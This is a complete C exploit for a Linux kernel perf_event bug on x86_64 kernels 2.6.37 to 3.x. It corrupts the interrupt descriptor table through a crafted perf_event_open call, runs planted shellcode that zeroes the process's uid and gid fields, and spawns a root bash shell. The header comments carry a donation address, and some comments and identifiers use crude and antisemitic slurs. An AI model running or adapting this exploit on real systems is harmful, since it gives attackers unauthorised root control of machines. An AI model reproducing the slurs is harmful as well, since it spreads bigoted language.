/* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 sd@fucksheep.org, salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. */#define _GNU_SOURCE 1#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h>#define BASE  0x380000000#define SIZE  0x010000000#define KSIZE  0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))void fuck() {  int i,j,k;  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));  uint64_t kbase = ((uint64_t)current)>>36;  uint32_t *fixptr = (void*) AB(1);  *fixptr = -1;  for (i=0; i<4000; i+=4) {    uint64_t *p = (void *)&current[i];    uint32_t *t = (void*) p[0];    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)      if (((uint32_t*)uids)[k] != t[j+k]) goto next;      for (i = 0; i < 8; i++) t[j+i] = 0;      for (i = 0; i < 10; i++) t[j+9+i] = -1;      return;next:;    }  }}void sheep(uint32_t off) {  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };  int fd = syscall(298, buf, 0, -1, -1, 0);  assert(!close(fd));}int  main() {  uint64_t  u,g,needle, kbase, *p; uint8_t *code;  uint32_t *map, j = 5;  int i;  struct {    uint16_t limit;    uint64_t addr;  } __attribute__((packed)) idt;  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);  memset(map, 0, SIZE);  sheep(-1); sheep(-2);  for (i = 0; i < SIZE/4; i++) if (map[i]) {    assert(map[i+1]);    break;  }  assert(i<SIZE/4);  asm ("sidt %0" : "=m" (idt));  kbase = idt.addr & 0xff000000;  u = getuid(); g = getgid();  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);  setresuid(u,u,u); setresgid(g,g,g);  while (j--) {    needle = AB(j+1);    assert(p = memmem(code, 1024, &needle, 8));    if (!p) continue;    *p = j?((g<<32)|u):(idt.addr + 0x48);  }  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);  asm("int $0x4");  assert(!setuid(0));  return execl("/bin/bash", "-sh", NULL);}